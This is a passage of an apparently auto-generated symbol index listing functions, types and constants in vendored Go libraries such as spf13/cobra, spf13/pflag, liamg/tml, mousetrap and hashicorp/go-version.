function NewSemver (line 56) | func NewSemver(v string) (*Version, error) {
function newVersion (line 60) | func newVersion(v string, pattern *regexp.Regexp) (*Version, error) {
function Must (line 100) | func Must(v *Version, err error) *Version {
function allZero (line 183) | func allZero(segs []int64) bool {
function comparePart (line 192) | func comparePart(preSelf string, preOther string) int {
function comparePrereleases (line 239) | func comparePrereleases(v string, other string) int {
FILE: vendor/github.com/hashicorp/go-version/version_collection.go
type Collection (line 5) | type Collection
method Len (line 7) | func (v Collection) Len() int {
method Less (line 11) | func (v Collection) Less(i, j int) bool {
method Swap (line 15) | func (v Collection) Swap(i, j int) {
FILE: vendor/github.com/inconshreveable/mousetrap/trap_others.go
function StartedByExplorer (line 13) | func StartedByExplorer() bool {
FILE: vendor/github.com/inconshreveable/mousetrap/trap_windows.go
constant th32cs_snapprocess (line 15) | th32cs_snapprocess uintptr = 0x2
type processEntry32 (line 26) | type processEntry32 struct
function getProcessEntry (line 39) | func getProcessEntry(pid int) (pe *processEntry32, err error) {
function getppid (line 69) | func getppid() (pid int, err error) {
function StartedByExplorer (line 85) | func StartedByExplorer() bool {
FILE: vendor/github.com/inconshreveable/mousetrap/trap_windows_1.4.go
function getProcessEntry (line 12) | func getProcessEntry(pid int) (*syscall.ProcessEntry32, error) {
function StartedByExplorer (line 40) | func StartedByExplorer() bool {
FILE: vendor/github.com/liamg/tml/disable.go
function DisableFormatting (line 8) | func DisableFormatting() {
function EnableFormatting (line 14) | func EnableFormatting() {
FILE: vendor/github.com/liamg/tml/new_line.go
function NewLine (line 4) | func NewLine() {
FILE: vendor/github.com/liamg/tml/parse.go
function Parse (line 9) | func Parse(input string) (string, error) {
FILE: vendor/github.com/liamg/tml/parser.go
type Parser (line 10) | type Parser struct
method handleTag (line 93) | func (p *Parser) handleTag(name string) bool {
method Parse (line 141) | func (p *Parser) Parse(reader io.Reader) error {
type parserState (line 17) | type parserState struct
method setFg (line 49) | func (s *parserState) setFg(esc string) string {
method setBg (line 57) | func (s *parserState) setBg(esc string) string {
method setAttr (line 65) | func (s *parserState) setAttr(attr int8) string {
type attrs (line 23) | type attrs
constant bold (line 26) | bold uint8 = 1 << iota
constant dim (line 27) | dim
constant underline (line 28) | underline
constant blink (line 29) | blink
constant reverse (line 30) | reverse
constant hidden (line 31) | hidden
constant italic (line 32) | italic
function NewParser (line 85) | func NewParser(w io.Writer) *Parser {
FILE: vendor/github.com/liamg/tml/printf.go
function Printf (line 11) | func Printf(input string, a ...interface{}) error {
function Fprintf (line 15) | func Fprintf(w io.Writer, input string, a ...interface{}) error {
FILE: vendor/github.com/liamg/tml/println.go
function Println (line 10) | func Println(input string) {
function Fprintln (line 14) | func Fprintln(w io.Writer, input string) {
FILE: vendor/github.com/liamg/tml/sprintf.go
function Sprintf (line 7) | func Sprintf(input string, a ...interface{}) string {
FILE: vendor/github.com/spf13/cobra/active_help.go
constant activeHelpMarker (line 10) | activeHelpMarker = "_activeHelp_ "
constant activeHelpEnvVarSuffix (line 13) | activeHelpEnvVarSuffix = "_ACTIVE_HELP"
constant activeHelpGlobalEnvVar (line 14) | activeHelpGlobalEnvVar = "COBRA_ACTIVE_HELP"
constant activeHelpGlobalDisable (line 15) | activeHelpGlobalDisable = "0"
function AppendActiveHelp (line 25) | func AppendActiveHelp(compArray []string, activeHelpStr string) []string {
function GetActiveHelpConfig (line 34) | func GetActiveHelpConfig(cmd *Command) string {
function activeHelpEnvVar (line 45) | func activeHelpEnvVar(name string) string {
FILE: vendor/github.com/spf13/cobra/args.go
type PositionalArgs (line 8) | type PositionalArgs
function legacyArgs (line 14) | func legacyArgs(cmd *Command, args []string) error {
function NoArgs (line 28) | func NoArgs(cmd *Command, args []string) error {
function OnlyValidArgs (line 36) | func OnlyValidArgs(cmd *Command, args []string) error {
function ArbitraryArgs (line 55) | func ArbitraryArgs(cmd *Command, args []string) error {
function MinimumNArgs (line 60) | func MinimumNArgs(n int) PositionalArgs {
function MaximumNArgs (line 70) | func MaximumNArgs(n int) PositionalArgs {
function ExactArgs (line 80) | func ExactArgs(n int) PositionalArgs {
function ExactValidArgs (line 92) | func ExactValidArgs(n int) PositionalArgs {
function RangeArgs (line 102) | func RangeArgs(min int, max int) PositionalArgs {
function MatchAll (line 112) | func MatchAll(pargs ...PositionalArgs) PositionalArgs {
FILE: vendor/github.com/spf13/cobra/bash_completions.go
constant BashCompFilenameExt (line 16) | BashCompFilenameExt = "cobra_annotation_bash_completion_filename_ext...
constant BashCompCustom (line 17) | BashCompCustom = "cobra_annotation_bash_completion_custom"
constant BashCompOneRequiredFlag (line 18) | BashCompOneRequiredFlag = "cobra_annotation_bash_completion_one_required...
constant BashCompSubdirsInDir (line 19) | BashCompSubdirsInDir = "cobra_annotation_bash_completion_subdirs_in_dir"
function writePreamble (line 22) | func writePreamble(buf io.StringWriter, name string) {
function writePostscript (line 390) | func writePostscript(buf io.StringWriter, name string) {
function writeCommands (line 433) | func writeCommands(buf io.StringWriter, cmd *Command) {
function writeFlagHandler (line 445) | func writeFlagHandler(buf io.StringWriter, name string, annotations map[...
constant cbn (line 481) | cbn = "\")\n"
function writeShortFlag (line 483) | func writeShortFlag(buf io.StringWriter, flag *pflag.Flag, cmd *Command) {
function writeFlag (line 494) | func writeFlag(buf io.StringWriter, flag *pflag.Flag, cmd *Command) {
function writeLocalNonPersistentFlag (line 509) | func writeLocalNonPersistentFlag(buf io.StringWriter, flag *pflag.Flag) {
function prepareCustomAnnotationsForFlags (line 522) | func prepareCustomAnnotationsForFlags(cmd *Command) {
function writeFlags (line 537) | func writeFlags(buf io.StringWriter, cmd *Command) {
function writeRequiredFlag (line 579) | func writeRequiredFlag(buf io.StringWriter, cmd *Command) {
function writeRequiredNouns (line 604) | func writeRequiredNouns(buf io.StringWriter, cmd *Command) {
function writeCmdAliases (line 618) | func writeCmdAliases(buf io.StringWriter, cmd *Command) {
function writeArgAliases (line 633) | func writeArgAliases(buf io.StringWriter, cmd *Command) {
function gen (line 641) | func gen(buf io.StringWriter, cmd *Command) {
method GenBashCompletion (line 672) | func (c *Command) GenBashCompletion(w io.Writer) error {
function nonCompletableFlag (line 685) | func nonCompletableFlag(flag *pflag.Flag) bool {
method GenBashCompletionFile (line 690) | func (c *Command) GenBashCompletionFile(filename string) error {
FILE: vendor/github.com/spf13/cobra/bash_completionsV2.go
method genBashCompletion (line 10) | func (c *Command) genBashCompletion(w io.Writer, includeDesc bool) error {
function genBashComp (line 17) | func genBashComp(buf io.StringWriter, name string, includeDesc bool) {
method GenBashCompletionFileV2 (line 355) | func (c *Command) GenBashCompletionFileV2(filename string, includeDesc b...
method GenBashCompletionV2 (line 367) | func (c *Command) GenBashCompletionV2(w io.Writer, includeDesc bool) err...
FILE: vendor/github.com/spf13/cobra/cobra.go
function AddTemplateFunc (line 69) | func AddTemplateFunc(name string, tmplFunc interface{}) {
function AddTemplateFuncs (line 75) | func AddTemplateFuncs(tmplFuncs template.FuncMap) {
function OnInitialize (line 83) | func OnInitialize(y ...func()) {
function Gt (line 92) | func Gt(a interface{}, b interface{}) bool {
function Eq (line 122) | func Eq(a interface{}, b interface{}) bool {
function trimRightSpace (line 137) | func trimRightSpace(s string) string {
function appendIfNotPresent (line 144) | func appendIfNotPresent(s, stringToAppend string) string {
function rpad (line 152) | func rpad(s string, padding int) string {
function tmpl (line 158) | func tmpl(w io.Writer, text string, data interface{}) error {
function ld (line 166) | func ld(s, t string, ignoreCase bool) int {
function stringInSlice (line 201) | func stringInSlice(a string, list []string) bool {
function CheckErr (line 211) | func CheckErr(msg interface{}) {
function WriteStringAndCheck (line 219) | func WriteStringAndCheck(b io.StringWriter, s string) {
FILE: vendor/github.com/spf13/cobra/command.go
type FParseErrWhitelist (line 33) | type FParseErrWhitelist
type Command (line 39) | type Command struct
method Context (line 235) | func (c *Command) Context() context.Context {
method SetContext (line 241) | func (c *Command) SetContext(ctx context.Context) {
method SetArgs (line 247) | func (c *Command) SetArgs(a []string) {
method SetOutput (line 254) | func (c *Command) SetOutput(output io.Writer) {
method SetOut (line 261) | func (c *Command) SetOut(newOut io.Writer) {
method SetErr (line 267) | func (c *Command) SetErr(newErr io.Writer) {
method SetIn (line 273) | func (c *Command) SetIn(newIn io.Reader) {
method SetUsageFunc (line 278) | func (c *Command) SetUsageFunc(f func(*Command) error) {
method SetUsageTemplate (line 283) | func (c *Command) SetUsageTemplate(s string) {
method SetFlagErrorFunc (line 289) | func (c *Command) SetFlagErrorFunc(f func(*Command, error) error) {
method SetHelpFunc (line 294) | func (c *Command) SetHelpFunc(f func(*Command, []string)) {
method SetHelpCommand (line 299) | func (c *Command) SetHelpCommand(cmd *Command) {
method SetHelpTemplate (line 304) | func (c *Command) SetHelpTemplate(s string) {
method SetVersionTemplate (line 309) | func (c *Command) SetVersionTemplate(s string) {
method SetGlobalNormalizationFunc (line 315) | func (c *Command) SetGlobalNormalizationFunc(n func(f *flag.FlagSet, n...
method OutOrStdout (line 326) | func (c *Command) OutOrStdout() io.Writer {
method OutOrStderr (line 331) | func (c *Command) OutOrStderr() io.Writer {
method ErrOrStderr (line 336) | func (c *Command) ErrOrStderr() io.Writer {
method InOrStdin (line 341) | func (c *Command) InOrStdin() io.Reader {
method getOut (line 345) | func (c *Command) getOut(def io.Writer) io.Writer {
method getErr (line 355) | func (c *Command) getErr(def io.Writer) io.Writer {
method getIn (line 365) | func (c *Command) getIn(def io.Reader) io.Reader {
method UsageFunc (line 377) | func (c *Command) UsageFunc() (f func(*Command) error) {
method Usage (line 397) | func (c *Command) Usage() error {
method HelpFunc (line 403) | func (c *Command) HelpFunc() func(*Command, []string) {
method Help (line 424) | func (c *Command) Help() error {
method UsageString (line 430) | func (c *Command) UsageString() string {
method FlagErrorFunc (line 451) | func (c *Command) FlagErrorFunc() (f func(*Command, error) error) {
method UsagePadding (line 467) | func (c *Command) UsagePadding() int {
method CommandPathPadding (line 477) | func (c *Command) CommandPathPadding() int {
method NamePadding (line 487) | func (c *Command) NamePadding() int {
method UsageTemplate (line 495) | func (c *Command) UsageTemplate() string {
method HelpTemplate (line 530) | func (c *Command) HelpTemplate() string {
method VersionTemplate (line 544) | func (c *Command) VersionTemplate() string {
method Find (line 635) | func (c *Command) Find(args []string) (*Command, []string, error) {
method findSuggestions (line 659) | func (c *Command) findSuggestions(arg string) string {
method findNext (line 676) | func (c *Command) findNext(next string) *Command {
method Traverse (line 697) | func (c *Command) Traverse(args []string) (*Command, []string, error) {
method SuggestionsFor (line 739) | func (c *Command) SuggestionsFor(typedName string) []string {
method VisitParents (line 760) | func (c *Command) VisitParents(fn func(*Command)) {
method Root (line 768) | func (c *Command) Root() *Command {
method ArgsLenAtDash (line 777) | func (c *Command) ArgsLenAtDash() int {
method execute (line 781) | func (c *Command) execute(a []string) (err error) {
method preRun (line 900) | func (c *Command) preRun() {
method ExecuteContext (line 909) | func (c *Command) ExecuteContext(ctx context.Context) error {
method Execute (line 917) | func (c *Command) Execute() error {
method ExecuteContextC (line 925) | func (c *Command) ExecuteContextC(ctx context.Context) (*Command, erro...
method ExecuteC (line 931) | func (c *Command) ExecuteC() (cmd *Command, err error) {
method ValidateArgs (line 1014) | func (c *Command) ValidateArgs(args []string) error {
method validateRequiredFlags (line 1021) | func (c *Command) validateRequiredFlags() error {
method InitDefaultHelpFlag (line 1047) | func (c *Command) InitDefaultHelpFlag() {
method InitDefaultVersionFlag (line 1064) | func (c *Command) InitDefaultVersionFlag() {
method InitDefaultHelpCmd (line 1088) | func (c *Command) InitDefaultHelpCmd() {
method ResetCommands (line 1135) | func (c *Command) ResetCommands() {
method Commands (line 1150) | func (c *Command) Commands() []*Command {
method AddCommand (line 1160) | func (c *Command) AddCommand(cmds ...*Command) {
method RemoveCommand (line 1189) | func (c *Command) RemoveCommand(cmds ...*Command) {
method Print (line 1223) | func (c *Command) Print(i ...interface{}) {
method Println (line 1228) | func (c *Command) Println(i ...interface{}) {
method Printf (line 1233) | func (c *Command) Printf(format string, i ...interface{}) {
method PrintErr (line 1238) | func (c *Command) PrintErr(i ...interface{}) {
method PrintErrln (line 1243) | func (c *Command) PrintErrln(i ...interface{}) {
method PrintErrf (line 1248) | func (c *Command) PrintErrf(format string, i ...interface{}) {
method CommandPath (line 1253) | func (c *Command) CommandPath() string {
method UseLine (line 1261) | func (c *Command) UseLine() string {
method DebugFlags (line 1279) | func (c *Command) DebugFlags() {
method Name (line 1319) | func (c *Command) Name() string {
method HasAlias (line 1329) | func (c *Command) HasAlias(s string) bool {
method CalledAs (line 1340) | func (c *Command) CalledAs() string {
method hasNameOrAliasPrefix (line 1349) | func (c *Command) hasNameOrAliasPrefix(prefix string) bool {
method NameAndAliases (line 1364) | func (c *Command) NameAndAliases() string {
method HasExample (line 1369) | func (c *Command) HasExample() bool {
method Runnable (line 1374) | func (c *Command) Runnable() bool {
method HasSubCommands (line 1379) | func (c *Command) HasSubCommands() bool {
method IsAvailableCommand (line 1385) | func (c *Command) IsAvailableCommand() bool {
method IsAdditionalHelpTopicCommand (line 1406) | func (c *Command) IsAdditionalHelpTopicCommand() bool {
method HasHelpSubCommands (line 1426) | func (c *Command) HasHelpSubCommands() bool {
method HasAvailableSubCommands (line 1440) | func (c *Command) HasAvailableSubCommands() bool {
method HasParent (line 1455) | func (c *Command) HasParent() bool {
method GlobalNormalizationFunc (line 1460) | func (c *Command) GlobalNormalizationFunc() func(f *flag.FlagSet, name...
method Flags (line 1466) | func (c *Command) Flags() *flag.FlagSet {
method LocalNonPersistentFlags (line 1479) | func (c *Command) LocalNonPersistentFlags() *flag.FlagSet {
method LocalFlags (line 1492) | func (c *Command) LocalFlags() *flag.FlagSet {
method InheritedFlags (line 1518) | func (c *Command) InheritedFlags() *flag.FlagSet {
method NonInheritedFlags (line 1543) | func (c *Command) NonInheritedFlags() *flag.FlagSet {
method PersistentFlags (line 1548) | func (c *Command) PersistentFlags() *flag.FlagSet {
method ResetFlags (line 1560) | func (c *Command) ResetFlags() {
method HasFlags (line 1574) | func (c *Command) HasFlags() bool {
method HasPersistentFlags (line 1579) | func (c *Command) HasPersistentFlags() bool {
method HasLocalFlags (line 1584) | func (c *Command) HasLocalFlags() bool {
method HasInheritedFlags (line 1589) | func (c *Command) HasInheritedFlags() bool {
method HasAvailableFlags (line 1595) | func (c *Command) HasAvailableFlags() bool {
method HasAvailablePersistentFlags (line 1600) | func (c *Command) HasAvailablePersistentFlags() bool {
method HasAvailableLocalFlags (line 1606) | func (c *Command) HasAvailableLocalFlags() bool {
method HasAvailableInheritedFlags (line 1612) | func (c *Command) HasAvailableInheritedFlags() bool {
method Flag (line 1617) | func (c *Command) Flag(name string) (flag *flag.Flag) {
method persistentFlag (line 1628) | func (c *Command) persistentFlag(name string) (flag *flag.Flag) {
method ParseFlags (line 1641) | func (c *Command) ParseFlags(args []string) error {
method Parent (line 1665) | func (c *Command) Parent() *Command {
method mergePersistentFlags (line 1671) | func (c *Command) mergePersistentFlags() {
method updateParentsPflags (line 1680) | func (c *Command) updateParentsPflags() {
function hasNoOptDefVal (line 556) | func hasNoOptDefVal(name string, fs *flag.FlagSet) bool {
function shortHasNoOptDefVal (line 564) | func shortHasNoOptDefVal(name string, fs *flag.FlagSet) bool {
function stripFlags (line 576) | func stripFlags(args []string, c *Command) []string {
function argsMinusFirstX (line 616) | func argsMinusFirstX(args []string, x string) []string {
function isFlagArg (line 628) | func isFlagArg(arg string) bool {
type commandSorterByName (line 1143) | type commandSorterByName
method Len (line 1145) | func (c commandSorterByName) Len() int { return len(c) }
method Swap (line 1146) | func (c commandSorterByName) Swap(i, j int) { c[i], c[j] = c[j], ...
method Less (line 1147) | func (c commandSorterByName) Less(i, j int) bool { return c[i].Name() ...
FILE: vendor/github.com/spf13/cobra/command_win.go
function preExecHook (line 16) | func preExecHook(c *Command) {
FILE: vendor/github.com/spf13/cobra/completions.go
constant ShellCompRequestCmd (line 15) | ShellCompRequestCmd = "__complete"
constant ShellCompNoDescRequestCmd (line 18) | ShellCompNoDescRequestCmd = "__completeNoDesc"
type ShellCompDirective (line 29) | type ShellCompDirective
method string (line 131) | func (d ShellCompDirective) string() string {
type flagCompError (line 31) | type flagCompError struct
method Error (line 36) | func (e *flagCompError) Error() string {
constant ShellCompDirectiveError (line 42) | ShellCompDirectiveError ShellCompDirective = 1 << iota
constant ShellCompDirectiveNoSpace (line 46) | ShellCompDirectiveNoSpace
constant ShellCompDirectiveNoFileComp (line 50) | ShellCompDirectiveNoFileComp
constant ShellCompDirectiveFilterFileExt (line 57) | ShellCompDirectiveFilterFileExt
constant ShellCompDirectiveFilterDirs (line 64) | ShellCompDirectiveFilterDirs
constant shellCompDirectiveMaxValue (line 70) | shellCompDirectiveMaxValue
constant ShellCompDirectiveDefault (line 75) | ShellCompDirectiveDefault ShellCompDirective = 0
constant compCmdName (line 80) | compCmdName = "completion"
constant compCmdNoDescFlagName (line 81) | compCmdNoDescFlagName = "no-descriptions"
constant compCmdNoDescFlagDesc (line 82) | compCmdNoDescFlagDesc = "disable completion descriptions"
constant compCmdNoDescFlagDefault (line 83) | compCmdNoDescFlagDefault = false
type CompletionOptions (line 87) | type CompletionOptions struct
function NoFileCompletions (line 102) | func NoFileCompletions(cmd *Command, args []string, toComplete string) (...
function FixedCompletions (line 108) | func FixedCompletions(choices []string, directive ShellCompDirective) fu...
method RegisterFlagCompletionFunc (line 115) | func (c *Command) RegisterFlagCompletionFunc(flagName string, f func(cmd...
method initCompleteCmd (line 159) | func (c *Command) initCompleteCmd(args []string) {
method getCompletions (line 231) | func (c *Command) getCompletions(args []string) (*Command, []string, She...
function getFlagNameCompletions (line 466) | func getFlagNameCompletions(flag *pflag.Flag, toComplete string) []string {
function completeRequireFlags (line 499) | func completeRequireFlags(finalCmd *Command, toComplete string) []string {
function checkIfFlagCompletion (line 524) | func checkIfFlagCompletion(finalCmd *Command, args []string, lastArg str...
method initDefaultCompletionCmd (line 615) | func (c *Command) initDefaultCompletionCmd() {
function findFlag (line 772) | func findFlag(cmd *Command, name string) *pflag.Flag {
function CompDebug (line 795) | func CompDebug(msg string, printToStdErr bool) {
function CompDebugln (line 819) | func CompDebugln(msg string, printToStdErr bool) {
function CompError (line 824) | func CompError(msg string) {
function CompErrorln (line 830) | func CompErrorln(msg string) {
FILE: vendor/github.com/spf13/cobra/fish_completions.go
function genFishComp (line 11) | func genFishComp(buf io.StringWriter, name string, includeDesc bool) {
method GenFishCompletion (line 204) | func (c *Command) GenFishCompletion(w io.Writer, includeDesc bool) error {
method GenFishCompletionFile (line 212) | func (c *Command) GenFishCompletionFile(filename string, includeDesc boo...
FILE: vendor/github.com/spf13/cobra/flag_groups.go
constant requiredAsGroup (line 25) | requiredAsGroup = "cobra_annotation_required_if_others_set"
constant mutuallyExclusive (line 26) | mutuallyExclusive = "cobra_annotation_mutually_exclusive"
method MarkFlagsRequiredTogether (line 31) | func (c *Command) MarkFlagsRequiredTogether(flagNames ...string) {
method MarkFlagsMutuallyExclusive (line 47) | func (c *Command) MarkFlagsMutuallyExclusive(flagNames ...string) {
method validateFlagGroups (line 63) | func (c *Command) validateFlagGroups() error {
function hasAllFlags (line 88) | func hasAllFlags(fs *flag.FlagSet, flagnames ...string) bool {
function processFlagForGroupAnnotation (line 98) | func processFlagForGroupAnnotation(flags *flag.FlagSet, pflag *flag.Flag...
function validateRequiredFlagGroups (line 121) | func validateRequiredFlagGroups(data map[string]map[string]bool) error {
function validateExclusiveFlagGroups (line 144) | func validateExclusiveFlagGroups(data map[string]map[string]bool) error {
function sortedKeys (line 165) | func sortedKeys(m map[string]map[string]bool) []string {
method enforceFlagGroupsForCompletion (line 180) | func (c *Command) enforceFlagGroupsForCompletion() {
FILE: vendor/github.com/spf13/cobra/powershell_completions.go
function genPowerShellComp (line 13) | func genPowerShellComp(buf io.StringWriter, name string, includeDesc boo...
method genPowerShellCompletion (line 251) | func (c *Command) genPowerShellCompletion(w io.Writer, includeDesc bool)...
method genPowerShellCompletionFile (line 258) | func (c *Command) genPowerShellCompletionFile(filename string, includeDe...
method GenPowerShellCompletionFile (line 269) | func (c *Command) GenPowerShellCompletionFile(filename string) error {
method GenPowerShellCompletion (line 275) | func (c *Command) GenPowerShellCompletion(w io.Writer) error {
method GenPowerShellCompletionFileWithDesc (line 280) | func (c *Command) GenPowerShellCompletionFileWithDesc(filename string) e...
method GenPowerShellCompletionWithDesc (line 286) | func (c *Command) GenPowerShellCompletionWithDesc(w io.Writer) error {
FILE: vendor/github.com/spf13/cobra/shell_completions.go
method MarkFlagRequired (line 10) | func (c *Command) MarkFlagRequired(name string) error {
method MarkPersistentFlagRequired (line 17) | func (c *Command) MarkPersistentFlagRequired(name string) error {
function MarkFlagRequired (line 24) | func MarkFlagRequired(flags *pflag.FlagSet, name string) error {
method MarkFlagFilename (line 30) | func (c *Command) MarkFlagFilename(name string, extensions ...string) er...
method MarkFlagCustom (line 40) | func (c *Command) MarkFlagCustom(name string, f string) error {
method MarkPersistentFlagFilename (line 47) | func (c *Command) MarkPersistentFlagFilename(name string, extensions ......
function MarkFlagFilename (line 53) | func MarkFlagFilename(flags *pflag.FlagSet, name string, extensions ...s...
function MarkFlagCustom (line 63) | func MarkFlagCustom(flags *pflag.FlagSet, name string, f string) error {
method MarkFlagDirname (line 69) | func (c *Command) MarkFlagDirname(name string) error {
method MarkPersistentFlagDirname (line 76) | func (c *Command) MarkPersistentFlagDirname(name string) error {
function MarkFlagDirname (line 82) | func MarkFlagDirname(flags *pflag.FlagSet, name string) error {
FILE: vendor/github.com/spf13/cobra/zsh_completions.go
method GenZshCompletionFile (line 11) | func (c *Command) GenZshCompletionFile(filename string) error {
method GenZshCompletion (line 17) | func (c *Command) GenZshCompletion(w io.Writer) error {
method GenZshCompletionFileNoDesc (line 22) | func (c *Command) GenZshCompletionFileNoDesc(filename string) error {
method GenZshCompletionNoDesc (line 28) | func (c *Command) GenZshCompletionNoDesc(w io.Writer) error {
method MarkZshCompPositionalArgumentFile (line 41) | func (c *Command) MarkZshCompPositionalArgumentFile(argPosition int, pat...
method MarkZshCompPositionalArgumentWords (line 52) | func (c *Command) MarkZshCompPositionalArgumentWords(argPosition int, wo...
method genZshCompletionFile (line 56) | func (c *Command) genZshCompletionFile(filename string, includeDesc bool...
method genZshCompletion (line 66) | func (c *Command) genZshCompletion(w io.Writer, includeDesc bool) error {
function genZshComp (line 73) | func genZshComp(buf io.StringWriter, name string, includeDesc bool) {
FILE: vendor/github.com/spf13/pflag/bool.go
type boolFlag (line 7) | type boolFlag interface
type boolValue (line 13) | type boolValue
method Set (line 20) | func (b *boolValue) Set(s string) error {
method Type (line 26) | func (b *boolValue) Type() string {
method String (line 30) | func (b *boolValue) String() string { return strconv.FormatBool(bool(*...
method IsBoolFlag (line 32) | func (b *boolValue) IsBoolFlag() bool { return true }
function newBoolValue (line 15) | func newBoolValue(val bool, p *bool) *boolValue {
function boolConv (line 34) | func boolConv(sval string) (interface{}, error) {
method GetBool (line 39) | func (f *FlagSet) GetBool(name string) (bool, error) {
method BoolVar (line 49) | func (f *FlagSet) BoolVar(p *bool, name string, value bool, usage string) {
method BoolVarP (line 54) | func (f *FlagSet) BoolVarP(p *bool, name, shorthand string, value bool, ...
function BoolVar (line 61) | func BoolVar(p *bool, name string, value bool, usage string) {
function BoolVarP (line 66) | func BoolVarP(p *bool, name, shorthand string, value bool, usage string) {
method Bool (line 73) | func (f *FlagSet) Bool(name string, value bool, usage string) *bool {
method BoolP (line 78) | func (f *FlagSet) BoolP(name, shorthand string, value bool, usage string...
function Bool (line 86) | func Bool(name string, value bool, usage string) *bool {
function BoolP (line 91) | func BoolP(name, shorthand string, value bool, usage string) *bool {
FILE: vendor/github.com/spf13/pflag/bool_slice.go
type boolSliceValue (line 10) | type boolSliceValue struct
method Set (line 24) | func (s *boolSliceValue) Set(val string) error {
method Type (line 57) | func (s *boolSliceValue) Type() string {
method String (line 62) | func (s *boolSliceValue) String() string {
method fromString (line 74) | func (s *boolSliceValue) fromString(val string) (bool, error) {
method toString (line 78) | func (s *boolSliceValue) toString(val bool) string {
method Append (line 82) | func (s *boolSliceValue) Append(val string) error {
method Replace (line 91) | func (s *boolSliceValue) Replace(val []string) error {
method GetSlice (line 104) | func (s *boolSliceValue) GetSlice() []string {
function newBoolSliceValue (line 15) | func newBoolSliceValue(val []bool, p *[]bool) *boolSliceValue {
function boolSliceConv (line 112) | func boolSliceConv(val string) (interface{}, error) {
method GetBoolSlice (line 131) | func (f *FlagSet) GetBoolSlice(name string) ([]bool, error) {
method BoolSliceVar (line 141) | func (f *FlagSet) BoolSliceVar(p *[]bool, name string, value []bool, usa...
method BoolSliceVarP (line 146) | func (f *FlagSet) BoolSliceVarP(p *[]bool, name, shorthand string, value...
function BoolSliceVar (line 152) | func BoolSliceVar(p *[]bool, name string, value []bool, usage string) {
function BoolSliceVarP (line 157) | func BoolSliceVarP(p *[]bool, name, shorthand string, value []bool, usag...
method BoolSlice (line 163) | func (f *FlagSet) BoolSlice(name string, value []bool, usage string) *[]...
method BoolSliceP (line 170) | func (f *FlagSet) BoolSliceP(name, shorthand string, value []bool, usage...
function BoolSlice (line 178) | func BoolSlice(name string, value []bool, usage string) *[]bool {
function BoolSliceP (line 183) | func BoolSliceP(name, shorthand string, value []bool, usage string) *[]b...
FILE: vendor/github.com/spf13/pflag/bytes.go
type bytesHexValue (line 11) | type bytesHexValue
method String (line 14) | func (bytesHex bytesHexValue) String() string {
method Set (line 19) | func (bytesHex *bytesHexValue) Set(value string) error {
method Type (line 32) | func (*bytesHexValue) Type() string {
function newBytesHexValue (line 36) | func newBytesHexValue(val []byte, p *[]byte) *bytesHexValue {
function bytesHexConv (line 41) | func bytesHexConv(sval string) (interface{}, error) {
method GetBytesHex (line 53) | func (f *FlagSet) GetBytesHex(name string) ([]byte, error) {
method BytesHexVar (line 65) | func (f *FlagSet) BytesHexVar(p *[]byte, name string, value []byte, usag...
method BytesHexVarP (line 70) | func (f *FlagSet) BytesHexVarP(p *[]byte, name, shorthand string, value ...
function BytesHexVar (line 76) | func BytesHexVar(p *[]byte, name string, value []byte, usage string) {
function BytesHexVarP (line 81) | func BytesHexVarP(p *[]byte, name, shorthand string, value []byte, usage...
method BytesHex (line 87) | func (f *FlagSet) BytesHex(name string, value []byte, usage string) *[]b...
method BytesHexP (line 94) | func (f *FlagSet) BytesHexP(name, shorthand string, value []byte, usage ...
function BytesHex (line 102) | func BytesHex(name string, value []byte, usage string) *[]byte {
function BytesHexP (line 107) | func BytesHexP(name, shorthand string, value []byte, usage string) *[]by...
type bytesBase64Value (line 112) | type bytesBase64Value
method String (line 115) | func (bytesBase64 bytesBase64Value) String() string {
method Set (line 120) | func (bytesBase64 *bytesBase64Value) Set(value string) error {
method Type (line 133) | func (*bytesBase64Value) Type() string {
function newBytesBase64Value (line 137) | func newBytesBase64Value(val []byte, p *[]byte) *bytesBase64Value {
function bytesBase64ValueConv (line 142) | func bytesBase64ValueConv(sval string) (interface{}, error) {
method GetBytesBase64 (line 153) | func (f *FlagSet) GetBytesBase64(name string) ([]byte, error) {
method BytesBase64Var (line 165) | func (f *FlagSet) BytesBase64Var(p *[]byte, name string, value []byte, u...
method BytesBase64VarP (line 170) | func (f *FlagSet) BytesBase64VarP(p *[]byte, name, shorthand string, val...
function BytesBase64Var (line 176) | func BytesBase64Var(p *[]byte, name string, value []byte, usage string) {
function BytesBase64VarP (line 181) | func BytesBase64VarP(p *[]byte, name, shorthand string, value []byte, us...
method BytesBase64 (line 187) | func (f *FlagSet) BytesBase64(name string, value []byte, usage string) *...
method BytesBase64P (line 194) | func (f *FlagSet) BytesBase64P(name, shorthand string, value []byte, usa...
function BytesBase64 (line 202) | func BytesBase64(name string, value []byte, usage string) *[]byte {
function BytesBase64P (line 207) | func BytesBase64P(name, shorthand string, value []byte, usage string) *[...
FILE: vendor/github.com/spf13/pflag/count.go
type countValue (line 6) | type countValue
method Set (line 13) | func (i *countValue) Set(s string) error {
method Type (line 24) | func (i *countValue) Type() string {
method String (line 28) | func (i *countValue) String() string { return strconv.Itoa(int(*i)) }
function newCountValue (line 8) | func newCountValue(val int, p *int) *countValue {
function countConv (line 30) | func countConv(sval string) (interface{}, error) {
method GetCount (line 39) | func (f *FlagSet) GetCount(name string) (int, error) {
method CountVar (line 50) | func (f *FlagSet) CountVar(p *int, name string, usage string) {
method CountVarP (line 55) | func (f *FlagSet) CountVarP(p *int, name, shorthand string, usage string) {
function CountVar (line 61) | func CountVar(p *int, name string, usage string) {
function CountVarP (line 66) | func CountVarP(p *int, name, shorthand string, usage string) {
method Count (line 73) | func (f *FlagSet) Count(name string, usage string) *int {
method CountP (line 80) | func (f *FlagSet) CountP(name, shorthand string, usage string) *int {
function Count (line 89) | func Count(name string, usage string) *int {
function CountP (line 94) | func CountP(name, shorthand string, usage string) *int {
FILE: vendor/github.com/spf13/pflag/duration.go
type durationValue (line 8) | type durationValue
method Set (line 15) | func (d *durationValue) Set(s string) error {
method Type (line 21) | func (d *durationValue) Type() string {
method String (line 25) | func (d *durationValue) String() string { return (*time.Duration)(d).S...
function newDurationValue (line 10) | func newDurationValue(val time.Duration, p *time.Duration) *durationValue {
function durationConv (line 27) | func durationConv(sval string) (interface{}, error) {
method GetDuration (line 32) | func (f *FlagSet) GetDuration(name string) (time.Duration, error) {
method DurationVar (line 42) | func (f *FlagSet) DurationVar(p *time.Duration, name string, value time....
method DurationVarP (line 47) | func (f *FlagSet) DurationVarP(p *time.Duration, name, shorthand string,...
function DurationVar (line 53) | func DurationVar(p *time.Duration, name string, value time.Duration, usa...
function DurationVarP (line 58) | func DurationVarP(p *time.Duration, name, shorthand string, value time.D...
